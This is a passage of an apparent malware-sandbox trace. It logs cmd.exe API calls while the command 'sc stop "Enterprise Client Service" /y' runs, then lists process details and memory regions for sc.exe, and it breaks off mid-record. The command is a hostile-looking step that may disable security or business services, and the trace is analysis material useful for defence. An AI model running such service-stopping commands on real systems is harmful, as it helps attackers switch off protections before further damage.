VirtualQuery (in: lpAddress=0x380000, lpBuffer=0x37fcd4, dwLength=0x1c | out: lpBuffer=0x37fcd4*(BaseAddress=0x380000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0060.008] GetConsoleOutputCP () returned 0x1b5 [0060.008] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0e4260 | out: lpCPInfo=0x4a0e4260) returned 1 [0060.008] SetConsoleCtrlHandler (HandlerRoutine=0x4a0de72a, Add=1) returned 1 [0060.008] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.008] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0060.008] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.008] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0e41ac | out: lpMode=0x4a0e41ac) returned 1 [0060.008] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.008] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0060.009] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.009] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0e41b0 | out: lpMode=0x4a0e41b0) returned 1 [0060.009] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.009] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0060.009] GetEnvironmentStringsW () returned 0x3b2b48* [0060.010] FreeEnvironmentStringsW (penv=0x3b2b48) returned 1 [0060.010] GetEnvironmentStringsW () returned 0x3b2b48* [0060.010] FreeEnvironmentStringsW (penv=0x3b2b48) returned 1 [0060.010] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37ec74 | out: phkResult=0x37ec74*=0x6c) returned 0x0 [0060.010] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x0, lpData=0x37ec80*=0x32, lpcbData=0x37ec78*=0x1000) returned 0x2 [0060.010] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x4, lpData=0x37ec80*=0x1, lpcbData=0x37ec78*=0x4) returned 0x0 [0060.010] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x0, lpData=0x37ec80*=0x1, lpcbData=0x37ec78*=0x1000) returned 0x2 [0060.010] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x4, lpData=0x37ec80*=0x0, lpcbData=0x37ec78*=0x4) returned 0x0 [0060.010] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x4, lpData=0x37ec80*=0x40, lpcbData=0x37ec78*=0x4) returned 0x0 [0060.010] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x4, lpData=0x37ec80*=0x40, lpcbData=0x37ec78*=0x4) returned 0x0 [0060.010] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x0, lpData=0x37ec80*=0x40, lpcbData=0x37ec78*=0x1000) returned 0x2 [0060.010] RegCloseKey (hKey=0x6c) returned 0x0 [0060.010] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x37ec74 | out: phkResult=0x37ec74*=0x6c) returned 0x0 [0060.011] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x0, lpData=0x37ec80*=0x40, lpcbData=0x37ec78*=0x1000) returned 0x2 [0060.011] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x4, lpData=0x37ec80*=0x1, lpcbData=0x37ec78*=0x4) returned 0x0 [0060.011] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x0, lpData=0x37ec80*=0x1, lpcbData=0x37ec78*=0x1000) returned 0x2 [0060.011] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x4, lpData=0x37ec80*=0x0, lpcbData=0x37ec78*=0x4) returned 0x0 [0060.011] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x4, lpData=0x37ec80*=0x9, lpcbData=0x37ec78*=0x4) returned 0x0 [0060.011] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x4, lpData=0x37ec80*=0x9, lpcbData=0x37ec78*=0x4) returned 0x0 [0060.011] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x37ec7c, lpData=0x37ec80, lpcbData=0x37ec78*=0x1000 | out: lpType=0x37ec7c*=0x0, lpData=0x37ec80*=0x9, lpcbData=0x37ec78*=0x1000) returned 0x2 [0060.011] RegCloseKey (hKey=0x6c) returned 0x0 [0060.011] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f5b [0060.011] srand (_Seed=0x5c3c3f5b) [0060.011] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Enterprise Client Service\" /y" [0060.011] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Enterprise Client Service\" /y" [0060.011] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.012] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3b4bd8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0060.012] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.012] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.012] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.012] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0060.012] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0060.012] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0060.012] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0060.012] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0060.012] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0060.012] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0060.012] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0060.012] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0060.012] GetEnvironmentStringsW () returned 0x3b2b48* [0060.013] FreeEnvironmentStringsW (penv=0x3b2b48) returned 1 [0060.013] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.013] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0f0640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0060.013] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0060.013] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0060.013] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0060.013] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0060.013] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0060.013] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0060.013] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0060.013] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0060.013] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x37fa40 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.013] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x37fa40, lpFilePart=0x37fa3c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37fa3c*="Desktop") returned 0x25 [0060.013] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.013] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x37f7bc | out: lpFindFileData=0x37f7bc) returned 0x3b1de0 [0060.014] FindClose (in: hFindFile=0x3b1de0 | out: hFindFile=0x3b1de0) returned 1 [0060.014] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x37f7bc | out: lpFindFileData=0x37f7bc) returned 0x3b1de0 [0060.014] FindClose (in: hFindFile=0x3b1de0 | out: hFindFile=0x3b1de0) returned 1 [0060.014] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0060.014] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x37f7bc | out: lpFindFileData=0x37f7bc) returned 0x3b1de0 [0060.014] FindClose (in: hFindFile=0x3b1de0 | out: hFindFile=0x3b1de0) returned 1 [0060.014] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0060.014] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0060.014] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0060.014] GetEnvironmentStringsW () returned 0x3b2b48* [0060.014] FreeEnvironmentStringsW (penv=0x3b2b48) returned 1 [0060.015] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0e5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0060.015] GetConsoleOutputCP () returned 0x1b5 [0060.015] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0e4260 | out: lpCPInfo=0x4a0e4260) returned 1 [0060.015] GetUserDefaultLCID () returned 0x409 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e4950, cchData=8 | out: lpLCData=":") returned 2 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x37fb80, cchData=128 | out: lpLCData="0") returned 2 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x37fb80, cchData=128 | out: lpLCData="0") returned 2 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x37fb80, cchData=128 | out: lpLCData="1") returned 2 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0e4940, cchData=8 | out: lpLCData="/") returned 2 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0e4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0e4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0e4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0e4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0e4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0e4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0e4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e4930, cchData=8 | out: lpLCData=".") returned 2 [0060.017] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0e4920, cchData=8 | out: lpLCData=",") returned 2 [0060.017] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0060.019] GetConsoleTitleW (in: lpConsoleTitle=0x3b5928, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.019] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0060.019] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0060.019] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0060.019] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0060.020] _wcsicmp (_String1="sc", _String2=")") returned 74 [0060.020] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0060.020] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0060.020] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0060.020] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0060.020] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0060.020] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0060.022] GetConsoleTitleW (in: lpConsoleTitle=0x37f878, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0060.022] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0060.022] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.022] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.022] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.022] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.022] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.022] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.022] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.022] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.022] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.022] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.022] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.022] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.022] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.022] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.022] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.023] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.023] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.023] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.023] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.023] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.023] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.023] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.023] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.023] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.023] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.023] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.023] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.023] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.023] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.023] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.023] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.023] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.023] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.023] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.023] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.023] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.023] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.023] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.023] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.023] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.023] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.023] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0060.023] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0060.023] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0060.023] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0060.023] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0060.024] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0060.024] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0060.024] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0060.024] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0060.024] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0060.024] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0060.024] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0060.024] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0060.024] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0060.024] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0060.024] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0060.024] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0060.024] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0060.024] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0060.024] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0060.024] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0060.024] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0060.024] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0060.024] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0060.024] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0060.024] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0060.024] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0060.024] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0060.024] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0060.024] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0060.024] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0060.024] _wcsicmp (_String1="sc", _String2="START") returned -17 [0060.024] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0060.024] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0060.024] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0060.024] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0060.025] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0060.025] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0060.025] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0060.025] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0060.025] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0060.025] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0060.025] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0060.025] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0060.025] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0060.025] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0060.025] SetErrorMode (uMode=0x0) returned 0x0 [0060.025] SetErrorMode (uMode=0x1) returned 0x0 [0060.025] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3b5e80, lpFilePart=0x37f398 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x37f398*="Desktop") returned 0x25 [0060.025] SetErrorMode (uMode=0x0) returned 0x1 [0060.026] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0f0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0060.026] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0060.033] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0f0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0060.035] InitializeProcThreadAttributeList (in: lpAttributeList=0x37f494, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x37f55c | out: lpAttributeList=0x37f494, lpSize=0x37f55c) returned 1 [0060.035] UpdateProcThreadAttribute (in: lpAttributeList=0x37f494, dwFlags=0x0, Attribute=0x60001, lpValue=0x37f554, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x37f494, lpPreviousValue=0x0) returned 1 [0060.035] GetStartupInfoW (in: lpStartupInfo=0x37f450 | out: lpStartupInfo=0x37f450*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x3a19de, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0060.036] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0060.037] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Enterprise Client Service\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x37f4f0*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Enterprise Client Service\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x37f53c | out: lpCommandLine="sc stop \"Enterprise Client Service\" /y", lpProcessInformation=0x37f53c*(hProcess=0x7c, hThread=0x78, dwProcessId=0x4a0, dwThreadId=0x248)) returned 1 [0060.043] CloseHandle (hObject=0x78) returned 1 [0060.043] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0060.043] GetEnvironmentStringsW () returned 0x3b4de8* [0060.043] FreeEnvironmentStringsW (penv=0x3b4de8) returned 1 [0060.043] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0060.106] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x37f430 | out: lpExitCode=0x37f430*=0x424) returned 1 [0060.106] CloseHandle (hObject=0x7c) returned 1 [0060.106] _vsnwprintf (in: _Buffer=0x37f578, _BufferCount=0x13, _Format="%08X", _ArgList=0x37f43c | out: _Buffer="00000424") returned 8 [0060.106] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0060.106] GetEnvironmentStringsW () returned 0x3b61c8* [0060.107] FreeEnvironmentStringsW (penv=0x3b61c8) returned 1 [0060.107] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0060.107] GetEnvironmentStringsW () returned 0x3b61c8* [0060.107] FreeEnvironmentStringsW (penv=0x3b61c8) returned 1 [0060.107] DeleteProcThreadAttributeList (in: lpAttributeList=0x37f494 | out: lpAttributeList=0x37f494) [0060.107] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.107] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0060.107] _get_osfhandle (_FileHandle=1) returned 0x7 [0060.107] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a0e41ac | out: lpMode=0x4a0e41ac) returned 1 [0060.107] _get_osfhandle (_FileHandle=0) returned 0x3 [0060.107] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a0e41b0 | out: lpMode=0x4a0e41b0) returned 1 [0060.108] SetConsoleInputExeNameW () returned 0x1 [0060.108] GetConsoleOutputCP () returned 0x1b5 [0060.108] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0e4260 | out: lpCPInfo=0x4a0e4260) returned 1 [0060.108] SetThreadUILanguage (LangId=0x0) returned 0x409 [0060.108] exit (_Code=1060) Process: id = "43" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x37b8a000" os_pid = "0x4a0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "42" os_parent_pid = "0x770" cmd_line = "sc stop \"Enterprise Client Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2871 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2872 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2873 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2874 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 2875 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2876 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2877 start_va = 0x1b0000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2878 start_va = 0xf40000 end_va = 0xf4bfff entry_point = 0xf40000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 2879 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2880 start_va = 0x77850000 end_va = 0x779cffff entry_point = 